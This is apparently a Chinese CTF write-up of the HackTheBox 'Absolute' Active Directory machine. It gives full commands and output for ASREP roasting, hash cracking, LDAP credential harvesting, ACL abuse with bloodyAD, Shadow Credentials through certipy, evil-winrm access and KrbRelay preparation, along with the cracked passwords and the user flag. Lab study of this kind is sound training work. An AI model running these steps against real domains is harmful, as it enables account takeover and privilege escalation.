0x00 总结
靶机信息：Absolute（HTB · Insane）| Windows / Active Directory | 作者：Geiseric
核心主题：Kerberos 认证、ACL 滥用链、KrbRelay 中继提权
攻击链一览
图片元数据 → 用户名列表
→ ASREP Roast（D.Klay 无预认证）→ hashcat 破解
→ LDAP 枚举（Protected Users 下用 TGT+GSSAPI 绕过）→ svc_smb 描述泄露密码
→ SMB 共享（Shared）→ test.exe（Nim）动态逆向 → 泄露 m.lovegod 明文密码
→ BloodHound：m.lovegod owns NETWORK AUDIT 组 → GenericAll 加自己入组
→ 组对 winrm_user 有 GenericWrite → Shadow Credentials → WinRM → user.txt
→ KrbRelay 中继 DC$（TrustedInstaller CLSID）→ 加 winrm_user 入 Administrators → root.txt
关键知识点
| 阶段 | 技术 | 要点 |
|---|---|---|
| 信息收集 | 图片元数据（exiftool） | Author 字段 → 用户名生成（用户名-anarchy） |
| 立足点 | ASREP Roast | GetNPUsers + hashcat -m 18200；无预认证账户可离线爆破 |
| 立足点 | Protected Users 绕过 | NTLM 被禁但 Kerberos 可用 → getTGT + ccache |
| 立足点 | LDAP 描述枚举 | ldapsearch -Y GSSAPI 查 description 属性，密码常藏在这 |
| 立足点 | 动态逆向 | procmon（TCP 连接）+ wireshark（明文凭据） |
| 横向 | ACL 滥用链 | Owns → WriteDACL/GenericAll → 组嵌套 → GenericWrite |
| 横向 | Shadow Credentials | 写 msDS-KeyCredentialLink → PKINIT 拿 TGT（不需要密码） |
| 提权 | KrbRelay | Kerberos 中继到 LDAP，身份 = 触发认证的主体（DC$） |
技能点
枚举 · Windows AD · 动态分析 · Kerberos 认证 · ACL 修改 · KrbRelay
关联笔记
- KrbRelay Kerberos 中继实战 – Mxc’s world
- Kerberos认证与ASREP Roast原理（关于绕过 账户限制方法） – Mxc’s world
- Protected Users 组与密码修改限制 – Mxc’s world
- 域渗透 – BloodHound Owns 详解 – Mxc’s world
0x01 信息收集
先用 nmap 扫描端口信息
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ nmap -p- 10.129.232.60 --min-rate 1000 -oA nmapscan/portscan
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-19 22:03 EDT
Stats: 0:00:31 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 41.70% done; ETC: 22:04 (0:00:43 remaining)
Nmap scan report for 10.129.232.60
Host is up (0.073s latency).
Not shown: 65509 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49683/tcp open unknown
49688/tcp open unknown
49701/tcp open unknown
63487/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 81.31 seconds
进入 80端口
左边有6张图片轮换，把他们都保存下来
用 exiftool 来查看元数据
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ exiftool photo |grep A
File Access Date/Time : 2026:07:19 22:57:09-04:00
Author : Michael Chaffrey
Creator Tool : Adobe Photoshop CC 2018 Macintosh
Derived From Document ID : D96BDD92B5AA2296D431558F292FEFF2
Derived From Instance ID : D96BDD92B5AA2296D431558F292FEFF2
Document ID : xmp.did:90080B67048811EA8574B646AF4FC464
Instance ID : xmp.iid:90080B66048811EA8574B646AF4FC464
APP14 Flags 0 : [14], Encoded with Blend=1 downsampling
APP14 Flags 1 : (none)
File Access Date/Time : 2026:07:19 23:00:33-04:00
Author : Sarah Osvald
Device Attributes : Reflective, Glossy, Positive, Color
File Access Date/Time : 2026:07:19 23:00:49-04:00
Artist : James Roberts
Author : James Roberts
Creator Tool : Adobe Photoshop CC 2018 Macintosh
Document ID : xmp.did:887A47FA048811EA8574B646AF4FC464
Instance ID : xmp.iid:887A47F9048811EA8574B646AF4FC464
APP14 Flags 0 : [14], Encoded with Blend=1 downsampling
APP14 Flags 1 : (none)
File Access Date/Time : 2026:07:19 23:00:33-04:00
Author : Nicole Smith
Device Attributes : Reflective, Glossy, Positive, Color
File Access Date/Time : 2026:07:19 23:00:33-04:00
Author : Jeffer Robinson
Device Attributes : Reflective, Glossy, Positive, Color
File Access Date/Time : 2026:07:19 23:00:33-04:00
Author : Donald Klay
Creator Tool : Adobe Photoshop CC 2018 Macintosh
Derived From Document ID : A4E8D5EA6B0FDC16C152F927E6EA3153
Derived From Instance ID : A4E8D5EA6B0FDC16C152F927E6EA3153
Document ID : xmp.did:90080B6B048811EA8574B646AF4FC464
Instance ID : xmp.iid:90080B6A048811EA8574B646AF4FC464
APP14 Flags 0 : [14], Encoded with Blend=1 downsampling
APP14 Flags 1 : (none)
其中的 Author保存下来
并且做一些改变，常见的就是姓缩写
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ cat users
Michael Chaffrey
Sarah Osvald
James Roberts
Jeffer Robinson
Donald Klay
M.Chaffrey
S.Osvald
J.Roberts
J.Robinson
D.Klay
然后检查预认证
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ impacket-GetNPUsers absolute.htb/ -usersfile users
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User M.Chaffrey doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User S.Osvald doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User J.Roberts doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User J.Robinson doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$D.Klay@ABSOLUTE.HTB:06577450cd9b284f2f39a1c91dba0c75$2cae2f93b89265443343e67410b897776c9f12f5a74bb259fdb61bc32ab22e157196ffa23aecceee904c3ed755b39cc0f23bcc50beab8a60f27feeac522dc994fab94d578488a2a8e2899dab3491869371ad512381abafbae461648ae703f1c364ddfdd49acc9b807d9a428559f7cc84
325e2c33f8ec1456af313625190a66bcda7c51247a04fd48d08c10f65c73c46f490a07a0e9a237ffe42ffecbeb666adab766511bf1331802489b3d1e315ba1b1339f93d547d196b3b40165b223a9283dce3dd19937275c1f08813515c638cbeaab931bbc7c22499617f3d131079921775e8529cddc818e605ec0f33b
保存 hashes1 并破解
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ hashcat -m 18200 hashes1 /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 7 7745HX with Radeon Graphics, 2949/5898 MB (1024 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 512 MB (4307 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$krb5asrep$23$D.Klay@ABSOLUTE.HTB:06577450cd9b284f2f39a1c91dba0c75$2cae2f93b89265443343e67410b897776c9f12f5a74bb259fdb61bc32ab22e157196ffa23aecceee904c3ed755b39cc0f23bcc50beab8a60f27feeac522dc994fab94d578488a2a8e2899dab3491869371ad512381abafbae461648ae703f1c364ddfdd49acc9b807d9a428559f7cc84
325e2c33f8ec1456af313625190a66bcda7c51247a04fd48d08c10f65c73c46f490a07a0e9a237ffe42ffecbeb666adab766511bf1331802489b3d1e315ba1b1339f93d547d196b3b40165b223a9283dce3dd19937275c1f08813515c638cbeaab931bbc7c22499617f3d131079921775e8529cddc818e605ec0f33b:Darkmoonsky248girl
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$D.Klay@ABSOLUTE.HTB:06577450cd9b284f2...c0f33b
Time.Started.....: Sun Jul 19 23:22:03 2026 (27 secs)
得到凭据 D.Klay:Darkmoonsky248girl
0x02 立足点
2.1 绕过限制
验证一下有效性
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ nxc smb absolute.htb -u D.Klay -p Darkmoonsky248girl
SMB 10.129.232.60 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.60 445 DC [-] absolute.htb\D.Klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION
显示账户被限制
但是因为限制只限制在发送认证过程中，而配置了预认证的账户可以绕过这个限制，详见 Kerberos认证与ASREP Roast原理
刚好我们的用户就是配置了预认证的用户
所以我们可以绕过限制申请 TGT 票据
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ impacket-getTGT absolute.htb/D.Klay:Darkmoonsky248girl
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in D.Klay.ccache
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ export KRB5CCNAME=D.Klay.ccache
也要编辑 /etc/krb5 文件
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ cat /etc/krb5.conf[libdefaults]
default_realm = ABSOLUTE.HTB dns_lookup_kdc = false
[realms]
ABSOLUTE.HTB = { kdc = 10.129.232.60 admin_server = 10.129.232.60 }
[domain_realm]
.absolute.htb = ABSOLUTE.HTB absolute.htb = ABSOLUTE.HTB
2.2 枚举域信息
这里我会先用 bloodhound 收集信息
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ bloodhound-python -c All -d absolute.htb -dc dc.absolute.htb -k -u D.Klay -ns 10.129.232.60 --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
Password:
INFO: Found AD domain: absolute.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Testing resolved hostname connectivity dead:beef::1e0
INFO: Trying LDAP connection to dead:beef::1e0
INFO: Testing resolved hostname connectivity dead:beef::b15b:b9fc:ee33:2cce
INFO: Trying LDAP connection to dead:beef::b15b:b9fc:ee33:2cce
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Testing resolved hostname connectivity dead:beef::1e0
INFO: Trying LDAP connection to dead:beef::1e0
INFO: Testing resolved hostname connectivity dead:beef::b15b:b9fc:ee33:2cce
INFO: Trying LDAP connection to dead:beef::b15b:b9fc:ee33:2cce
INFO: Found 18 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.absolute.htb
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 01M 15S
INFO: Compressing output into 20260720080339_bloodhound.zip
先放着，然后我们检查一下 ldap 的属性值
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "dc=absolute,dc=htb" "(objectClass=user)" description
在 svc_smb的描述值中看到
# svc_smb, Users, absolute.htb
dn: CN=svc_smb,CN=Users,DC=absolute,DC=htb
description: AbsoluteSMBService123!
疑似是他的密码
2.3 横向移动
用这个密码申请 TGT 票据，因为在 bloodhound 中看 svc_smb 用户也属于 PROTECTED USERS组，应该也被限制
虽然有配置预验证，但是可能单独对 kerberos 协议做了允许
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ impacket-getTGT absolute.htb/svc_smb:AbsoluteSMBService123!
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_smb.ccache
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ export KRB5CCNAME=svc_smb.ccache
而且从名称看我们应该优先枚举 smb 目录
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ nxc smb 10.129.232.60 --shares --use-kcache
SMB 10.129.232.60 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.60 445 DC [+] ABSOLUTE.HTB\svc_smb from ccache
SMB 10.129.232.60 445 DC [*] Enumerated shares
SMB 10.129.232.60 445 DC Share Permissions Remark
SMB 10.129.232.60 445 DC ----- ----------- ------
SMB 10.129.232.60 445 DC ADMIN$ Remote Admin
SMB 10.129.232.60 445 DC C$ Default share
SMB 10.129.232.60 445 DC IPC$ READ Remote IPC
SMB 10.129.232.60 445 DC NETLOGON READ Logon server share
SMB 10.129.232.60 445 DC Shared READ
SMB 10.129.232.60 445 DC SYSVOL READ Logon server share
显示 Shared 可读
浏览发现两个文件，下载下来
# ls
drw-rw-rw- 0 Thu Sep 1 13:02:23 2022 .
drw-rw-rw- 0 Thu Sep 1 13:02:23 2022 ..
-rw-rw-rw- 72 Thu Sep 1 13:02:23 2022 compiler.sh
-rw-rw-rw- 67584 Thu Sep 1 13:02:23 2022 test.exe
# mget * -y
[-] SMB SessionError: code: 0xc000000f - STATUS_NO_SUCH_FILE - {File Not Found} The file %hs does not exist.
# mget *
[*] Downloading compiler.sh
[*] Downloading test.exe
先看 sompiler.sh
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ cat compiler.sh
#!/bin/bash
nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1
是用 nim 编译一个文件
接下来到 windows机器上逆向下 test.exe 文件
下载到 windows 机器上后我会先尝试运行他，但是他并没有给我任何有效的信息，我决定动态逆向调试
2.4 动态逆向
这里我先用 Sysinternals 工具中的 procmon
在过滤器中这样设置
一个用来判断进程，剩下的过滤他的操作，包含 TCP 连接 UDP 发送 ，文件写入和注册表更改，发现这个文件有对外建立 TCP 连接
是发送到 192.18.1.59 的 右键把他设置为高亮后，取消过滤
能够发现他在建立通信后发送了一个包，然后关闭了连接
但是我们这里看不了包的内容，于是我切换到 wireshark
这有几个发往同一 ip 的包，有一个包中泄露了凭据
于是我们拿到了凭据 mlovegod:AbsoluteLDAP2022!
然后我们用 nxc 验证凭据有效性，并在 bloodhound 上查看该用户的具体权限bloodhound中显示正确的用户名应该是 m.lovegod 并且这个用户同样属于保护组，所以我们也需要请求 TGT 票据来登入什么的
2.5 域环境操作
发现 m.lovegod 用户对 NETWORK AUDIT 组有 owns 权限，点击查看为 writeacl 的权限，那我们赋予我们的用户 generalwrite 权限
然后通过 bloodad 来进行域环境操作
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ bloodyad -d absolute.htb -u m.lovegod --host dc.absolute.htb -k --dns 10.129.232.60 add genericAll 'NETWORK AUDIT' 'm.lovegod'
[+] m.lovegod has now GenericAll on NETWORK AUDIT
然后把自己添加到 NETWORK AUDIT 因为这个组对 winrm_user 有全局写权限，并且 winrm_user 有远程管理权限
接下来把 m.lovergod 写入这个组
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ bloodyad -d absolute.htb -u m.lovegod --host dc.absolute.htb -k --dns 10.129.232.60 add groupMember 'NETWORK AUDIT' 'm.lovegod'
[+] m.lovegod added to NETWORK AUDIT
对于详细的 owns 权限 可以看
- 0x02 技术模块/windows 内网/域渗透 – BloodHound Owns 详解 — Owns 与 MemberOf 区别、ACL 滥用攻击路径
接下来我尝试直接修改他的密码，但是失败了
于是我尝试通过 msDS-KeyCredentialLink 属性去接管票据，也就是我们常说的影子票据
并且需要注意的是，在请求票据是需要保证 m.lovegod 用户在 NETWORK AUDIT 组内的时间，所以我连续执行这几条命令来确保我的 Kerberos 票据是有效的
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ bloodyad -d absolute.htb -u m.lovegod --host dc.absolute.htb -k --dns 10.129.232.60 add genericAll 'NETWORK AUDIT' 'm.lovegod'
bloodyad -d absolute.htb -u m.lovegod --host dc.absolute.htb -k --dns 10.129.232.60 add groupMember 'NETWORK AUDIT' 'm.lovegod'
bloodyad -d absolute.htb -u m.lovegod --host dc.absolute.htb -k get object 'NETWORK AUDIT'
impacket-getTGT absolute.htb/m.lovegod:AbsoluteLDAP2022! -dc-ip 10.129.232.60
[+] m.lovegod has now GenericAll on NETWORK AUDIT
[+] m.lovegod added to NETWORK AUDIT
distinguishedName: CN=Network Audit,CN=Users,DC=absolute,DC=htb
cn: Network Audit
dSCorePropagationData: 2026-07-25 09:46:57+00:00
description: Branch to do some auditing
displayName: Network Audit
groupType: -2147483646
instanceType: 4
member: CN=svc_audit,CN=Users,DC=absolute,DC=htb; CN=m.lovegod,CN=Users,DC=absolute,DC=htb
nTSecurityDescriptor: O:S-1-5-21-4078382237-1492182817-2568127209-1109G:S-1-5-21-4078382237-1492182817-2568127209-512D:AI(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;S-1-5-11)(A;;WO;;;S-1-5-21-4078382237-1492182817-2568127209-1118)
(A;;0xf01ff;;;S-1-5-21-4078382237-1492182817-2568127209-512)(A;OICI;0xf01ff;;;S-1-5-21-4078382237-1492182817-2568127209-1109)(A;;0xf01ff;;;S-1-5-32-548)(A;;0x20094;;;S-1-5-10)(A;;0x20094;;;S-1-5-11)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-
9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967ab
a-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2
d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b
422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-4078382237-1492182817-2568127209-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-4078382237-1492182817-2568127209-527)(OA;CIIOID;SW;9b026da6-0d3c-
465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2
-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-
45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S
-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-4078382237-1492182817-2568127209-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
name: Network Audit
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=absolute,DC=htb
objectClass: top; group
objectGUID: 7f6b4055-29bf-42a0-ba35-19054c311783
objectSid: S-1-5-21-4078382237-1492182817-2568127209-1119
sAMAccountName: Network Audit
sAMAccountType: 268435456
uSNChanged: 181633
uSNCreated: 16663
whenChanged: 2026-07-25 09:47:05+00:00
whenCreated: 2022-06-09 08:25:51+00:00
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in m.lovegod.ccache
然后进行影子凭据的操作
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ certipy-ad shadow add -k -account 'WINRM_USER' -dc-ip 10.129.232.60 -dc-host dc.absolute.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] Target name (-target) not specified and Kerberos authentication is used. This might fail
[*] Targeting user 'winrm_user'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '4f49496db3e040d0953a5329510c1d5e'
[*] Adding Key Credential with device ID '4f49496db3e040d0953a5329510c1d5e' to the Key Credentials for 'winrm_user'
[*] Successfully added Key Credential with device ID '4f49496db3e040d0953a5329510c1d5e' to the Key Credentials for 'winrm_user'
[*] Saving certificate and private key to 'winrm_user.pfx'
[*] Saved certificate and private key to 'winrm_user.pfx'
然后用证书去申请 Kerberos 票据
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ certipy-ad auth -pfx winrm_user.pfx -dc-ip 10.129.232.60 -username winrm_user -domain absolute.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'winrm_user@absolute.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'winrm_user.ccache'
[*] Wrote credential cache to 'winrm_user.ccache'
[*] Trying to retrieve NT hash for 'winrm_user'
[*] Got hash for 'winrm_user@absolute.htb': aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2
然后我去用票据进行 winrm 登入
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ evil-winrm -i dc.absolute.htb -K winrm_user.ccache -u winrm_user -r absolute.htb
Evil-WinRM shell v3.9
Warning: KRB5CCNAME is already set to: winrm_user.ccache. Using existing value instead of /home/kali/htb/Absolute/winrm_user.ccache
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: User is not needed for Kerberos auth. Ticket will be used
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_user\Documents>
成功登入，这里需要更改 /etc/ker5.conf 文件
┌──(kali㉿kali)-[~/htb/Absolute]
└─$ cat /etc/krb5.conf [libdefaults]
default_realm = ABSOLUTE.HTB dns_lookup_kdc = false
[realms]
ABSOLUTE.HTB = { kdc = 10.129.232.60 admin_server = 10.129.232.60 }
[domain_realm]
.absolute.htb = ABSOLUTE.HTB absolute.htb = ABSOLUTE.HTB
获取 user.txt
*Evil-WinRM* PS C:\Users\winrm_user\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\winrm_user\desktop> dir
Directory: C:\Users\winrm_user\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 7/24/2026 5:05 AM 34 user.txt
*Evil-WinRM* PS C:\Users\winrm_user\desktop> type user.txt
136cb245dbda87272f7b55f92dd95267
0x03 提权
尝试枚举目前环境的会话
我会先上传 RunasCs.exe
然后查看目前的会话
*Evil-WinRM* PS C:\programdata> ./RunasCs.exe 'm.lovegod' 'AbsoluteLDAP2022!' "cmd /c qwinsta" -l 9
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
console 1 Conn
有一个 console 的会话显示 conn 连接状态
于是我会考虑使用跨会话中继来窃取凭证
我会下载 KrbRelay 来进行这个操作
但在先前我们还需要一些信息
详见 cube0x0/KrbRelay：用于 Kerberos 中继功能的框架 — cube0x0/KrbRelay: Framework for Kerberos relaying
Title
这里有误，实际上是尝试系统级的 Kerberos 中继，而不是用户级的跨会话攻击，不需要其他用户会话的存在
3.1 获取可用的CLSID
首先是 CLSID
我选用 CandyPotato 来查询可用的 CLSID
| ID | CLSID | Service |
|=========================================================================================|
| 01/50 | {03ca98d6-ff5d-49b8-abc6-03dd84127020} | BITS |
| 02/50 | {0B5A2C52-3EB9-470a-96E2-6C6D4570E40F} | VSS |
| 03/50 | {0E9A7BB5-F699-4D66-8A47-B919F5B6A1DB} | wercplsupport |
| 04/50 | {1B48339C-D15E-45F3-AD55-A851CB66BE6B} | SecurityHealthService |
| 05/50 | {1ecca34c-e88a-44e3-8d6a-8921bde9e452} | BITS |
| 06/50 | {2557a77e-882d-4633-960e-0c718670c1c7} | SecurityHealthService |
| 07/50 | {2781761E-28E2-4109-99FE-B9D127C57AFE} | WinDefend |
| 08/50 | {2D15188C-D298-4E10-83B2-64666CCBEBBD} | SecurityHealthService |
| 09/50 | {397a2e5f-348c-482d-b9a3-57d383b483cd} | vmicheartbeat |
| 10/50 | {3c6859ce-230b-48a4-be6c-932c0c202048} | TrustedInstaller |
| 11/50 | {42C21DF5-FB58-4102-90E9-96A213DC7CE8} | EntAppSvc |
| 12/50 | {434AEC1C-8583-45EC-B88F-750D6F380BC3} | SecurityHealthService |
| 13/50 | {470B9B9B-0E95-4963-B265-5D58E5808C3D} | SecurityHealthService |
| 14/50 | {4729dc2b-36ff-405f-bd36-f45113adb052} | TrustedInstaller |
| 15/50 | {47782907-6A6D-44BC-8872-4E45E994E6F9} | SecurityHealthService |
| 16/50 | {4991d34b-80a1-4291-83b6-3328366b9097} | BITS |
| 17/50 | {50D185B9-FFF3-4656-92C7-E4018DA4361D} | TieringEngineService |
| 18/50 | {5C9AB547-345D-4175-9AF6-65133463A100} | TieringEngineService |
| 19/50 | {5CF41123-E9E6-4AC0-85A7-C4001F513C6A} | SecurityHealthService |
| 20/50 | {659cdea7-489e-11d9-a9cd-000d56965251} | BITS |
| 21/50 | {65EE1DBA-8FF4-4a58-AC1C-3470EE2F376A} | swprv |
| 22/50 | {69AD4AEE-51BE-439b-A92C-86AE490E8B30} | BITS |
| 23/50 | {6d18ad12-bde3-4393-b311-099c346e6df9} | BITS |
| 24/50 | {72566e27-1abb-4eb3-b4f0-eb431cb1cb32} | WaaSMedicSvc |
| 25/50 | {74FA5D1F-BBD3-4F3E-8776-41EDEFC608D9} | SecurityHealthService |
| 26/50 | {752073A1-23F2-4396-85F0-8FDB879ED0ED} | TrustedInstaller |
| 27/50 | {7D1933CB-86F6-4A98-8628-01BE94C9A575} | vds |
| 28/50 | {816A45F9-7406-42BB-B4FA-A655D96F2A8A} | SecurityHealthService |
| 29/50 | {854A20FB-2D44-457D-992F-EF13785D2B51} | PrintNotify |
| 30/50 | {8C9C0DB7-2CBA-40F1-AFE0-C55740DD91A0} | SecurityHealthService |
| 31/50 | {8F5DF053-3013-4dd8-B5F4-88214E81C0CF} | TrustedInstaller |
| 32/50 | {95243A62-2F9B-4FDF-B437-40D965F6D17F} | VSS |
| 33/50 | {9ea82395-e31b-41ca-8df7-ec1cee7194df} | WaaSMedicSvc |
| 34/50 | {A2A6D7C6-ECBD-439E-9244-9E784608439F} | SecurityHealthService |
| 35/50 | {b8fc52f5-cb03-4e10-8bcb-e3ec794c54a5} | wuauserv |
